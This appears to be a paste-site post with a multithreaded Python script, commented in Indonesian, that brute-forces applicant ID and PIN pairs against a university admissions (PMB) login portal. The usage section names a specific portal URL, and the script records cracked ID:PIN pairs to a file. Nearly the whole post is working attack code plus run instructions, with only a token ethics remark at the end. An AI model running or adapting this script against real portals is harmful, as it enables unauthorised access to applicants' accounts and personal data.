PMB Checker

2025-05-28 06:52:36 - zdgtl

import requests
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import argparse

# Membaca file TXT ke dalam daftar
def load_data(file_path):
    try:
        with open(file_path, "r") as file:
            data = file.read().splitlines()  # Membaca setiap garis
        return data
    except FileNotFoundError:
        print(f"File {file_path} tidak ditemukan.")
        return []

# Fungsi untuk login dengan cookies baru
def validate_login_new_cookies(url, id_pendaftar, pin):
    try:
        # Buat session baru untuk setiap percobaan
        session = requests.Session()

        # Step 1: Lakukan request awal untuk mengambil cookies atau token
        response_initial = session.get(url)
        if response_initial.status_code != 200:
            print(f"Gagal melakukan request awal untuk ID: {id_pendaftar}")
            return False

        # Jika ada token atau elemen lain di halaman login yang dibutuhkan, kita bisa parse dengan BeautifulSoup
        soup = BeautifulSoup(response_initial.text, 'html.parser')
        token = soup.find('input', {'name': '_token'})['value'] if soup.find('input', {'name': '_token'}) else None

        # Step 2: Siapkan data login
        data_login = {
            "idpendaftar": id_pendaftar,
            "pin": pin,
            "act": "login",
            "_token": token if token else "DEFAULT_TOKEN"  # Gunakan token jika ada
        }

        # Step 3: Kirim POST request dengan cookie bersih
        response = session.post(url, data=data_login, allow_redirects=False)

        # Periksa status login berdasarkan respons
        if response.status_code == 302 and "Location" in response.headers:
            if "/biodata" in response.headers["Location"]:  # Contoh jika redirect ke halaman biodata
                return True
        return False
    except Exception as e:
        print(f"Terjadi kesalahan: {str(e)}")
        return False

# Fungsi untuk mencoba login pada satu ID Pendaftar
def process_single_user(url, id_pendaftar, pins, berhasil_file, gagal_file):
    print(f"Memproses ID Pendaftar: {id_pendaftar}")

    for pin in pins:
        print(f"  Mencoba PIN: {pin}")
        if validate_login_new_cookies(url, id_pendaftar, pin):
            print(f"  Login berhasil dengan PIN: {pin}")
            with open(berhasil_file, "a") as file:
                file.write(f"{id_pendaftar} : {pin}\n")
            return  # Berhenti mencari jika login sudah berhasil

    # Jika semua PIN gagal
    print(f"  Login gagal untuk ID Pendaftar: {id_pendaftar}")
    with open(gagal_file, "a") as file:
        file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok\n")

# Fungsi untuk memproses banyak login (dengan threading)
def process_logins(pendaftar_file, pin_file, url, berhasil_file, gagal_file, max_threads):
    id_pendaftar_list = load_data(pendaftar_file)
    pins = load_data(pin_file)

    if not id_pendaftar_list:
        print("Tidak ada ID Pendaftar yang bisa diperiksa.")
        return

    if not pins:
        print("Tidak ada PIN yang bisa diuji.")
        return

    # Bersihkan file hasil
    open(berhasil_file, "w").close()
    open(gagal_file, "w").close()

    with ThreadPoolExecutor(max_threads) as executor:
        futures = [
            executor.submit(process_single_user, url, id_pendaftar, pins, berhasil_file, gagal_file)
            for id_pendaftar in id_pendaftar_list
        ]

        # Menunggu semua threads selesai
        for future in futures:
            future.result()

    print("Proses selesai.")

# Main Function dengan Argparse
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Script Login Multithreaded")
    parser.add_argument("-p", "--pendaftar_file", required=True, help="Path ke file daftar Pendaftar")
    parser.add_argument("-pfile", "--pin_file", required=True, help="Path ke file daftar PIN")
    parser.add_argument("-url", "--url_login", required=True, help="URL untuk login")
    parser.add_argument("-t", "--threads", default=5, type=int, help="Jumlah thread yang digunakan")
    parser.add_argument("-b", "--berhasil_file", default="berhasil.txt", help="File output untuk login berhasil")
    parser.add_argument("-g", "--gagal_file", default="gagal.txt", help="File output untuk login gagal")

    args = parser.parse_args()

    # Jalankan fungsi utama
    process_logins(
        pendaftar_file=args.pendaftar_file,
        pin_file=args.pin_file,
        url=args.url_login,
        berhasil_file=args.berhasil_file,
        gagal_file=args.gagal_file,
        max_threads=args.threads,
    )


Cara Menjalankan Skrip dengan Threads
  1. Pastikan Anda sudah menginstal pustaka berikut:


pip install requests beautifulsoup4

  1. Jalankan script di terminal dengan parameter -t untuk jumlah thread:


python script.py -p pendaftar.txt -pfile pin.txt -url https://pmb.hangtuah.ac.id/login -t 10 -b berhasil.txt -g gagal.txt


Penjelasan tiap parameter:


-p atau --pendaftar_file: File TXT dengan daftar ID Pendaftar.
-pfile atau --pin_file: File TXT dengan daftar PIN.
-url atau --url_login: URL halaman login.
-t atau --threads: Jumlah thread yang digunakan untuk proses paralel (default: 5).
-b atau --berhasil_file: File untuk menyimpan login berhasil (default: berhasil.txt).
-g atau --gagal_file: File untuk menyimpan login gagal (default: gagal.txt).
Kelebihan Threading
  1. Proses Lebih Cepat:
  2. Dengan menjalankan beberapa login secara paralel, waktu eksekusi dapat dipercepat secara signifikan.
  3. Skalabilitas:
  4. Anda dapat menaikkan atau menurunkan jumlah thread sesuai dengan spesifikasi mesin dan kebutuhan.
  5. Fleksibilitas:
  6. Jumlah thread dapat diatur dengan argumen -t, tanpa perlu mengubah kode.


Contoh Output

Jika dijalankan dengan -t 10, akan terlihat bahwa 10 proses login dijalankan secara paralel.

Di akhir eksekusi:


Catatan Penting
  1. Gunakan Threads Dengan Bijak:
  2. Terlalu banyak threads pada mesin dengan sumber daya terbatas dapat menyebabkan bottleneck atau rate-limiting dari server target.
  3. Etika Penggunaan:
  4. Pastikan penggunaan script ini sesuai dengan kebijakan akses dan privasi server target.

Semoga membantu dan semakin mempercepat proses Anda! 🚀

More Posts